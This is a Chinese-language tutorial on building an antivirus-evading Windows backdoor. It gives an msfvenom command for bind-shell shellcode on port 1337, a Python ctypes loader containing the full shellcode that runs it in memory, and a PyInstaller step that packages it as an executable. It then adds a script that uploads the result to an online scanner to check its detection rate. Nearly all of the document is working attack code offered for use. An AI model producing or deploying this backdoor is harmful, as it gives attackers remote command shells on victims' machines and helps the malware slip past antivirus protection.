使用 pyinstall 打包实现免杀后门

免杀的过程

输入命令，生成shellcode代码    msfvenom -p windows/shell_bind_tcp LPORT=1337 -f c -o payload.c

 保存里面的shellcode代码

接着在Python中调用ctypes库，定义一个存在该shellcode的变量，把变量看作是一个C语言的函数，执行它即可。

#!/usr/bin/python
#coding=utf-8
from ctypes import *shellcode = ("\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x05\x39\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x57\x68\xb7"
"\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x97"
"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57"
"\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c"
"\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46"
"\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0"
"\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb"
"\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";);memorywithshell = create_string_buffer(shellcode, len(shellcode))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()

接着将该py文件转换成Windows的可执行文件  pyinstaller.py --onefile bindshell.py

免杀验证

#!/usr/bin/python
#coding=utf-8
import re
import httplib
import time
import os
import optparse
from urlparse import urlparsedef printResults(url):status = 200host = urlparse(url)[1]path = urlparse(url)[2]if 'analysis' not in path:while status != 302:conn = httplib.HTTPConnection(host)conn.request('GET', path)resp = conn.getresponse()status = resp.statusprint '[+] Scanning file...'conn.close()time.sleep(15)print '[+] Scan Complete.'path = path.replace('file', 'analysis')conn = httplib.HTTPConnection(host)conn.request('GET', path)resp = conn.getresponse()data = resp.read()conn.close()reResults = re.findall(r'Detection rate:.*\)', data)htmlStripRes = reResults[1].replace('<font color=\'red\'>', '').replace('</font>', '')print '[+] ' + str(htmlStripRes)def uploadFile(fileName):print "[+] Uploading file to NoVirusThanks..."fileContents = open(fileName,'rb').read()header = {'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryF17rwCZdGuPNPT9U'}params = "------WebKitFormBoundaryF17rwCZdGuPNPT9U"params += "\r\nContent-Disposition: form-data; name=\"upfile\"; filename=\"" + str(fileName) + "\""params += "\r\nContent-Type: application/octet stream\r\n\r\n"params += fileContentsparams += "\r\n------WebKitFormBoundaryF17rwCZdGuPNPT9U"params += "\r\nContent-Disposition: form-data; name=\"submitfile\"\r\n"params += "\r\nSubmit File\r\n"params += "------WebKitFormBoundaryF17rwCZdGuPNPT9U--\r\n"conn = httplib.HTTPConnection('vscan.novirusthanks.org')conn.request("POST", "/", params, header)response = conn.getresponse()location = response.getheader('location')conn.close()return locationdef main():parser = optparse.OptionParser('[*]Usage: python virusCheck.py -f <filename>')parser.add_option('-f', dest='fileName', type='string', help='specify filename')(options, args) = parser.parse_args()fileName = options.fileNameif fileName == None:print parser.usageexit(0)elif os.path.isfile(fileName) == False:print '[+] ' + fileName + ' does not exist.'exit(0)else:loc = uploadFile(fileName)printResults(loc)if __name__ == '__main__':main()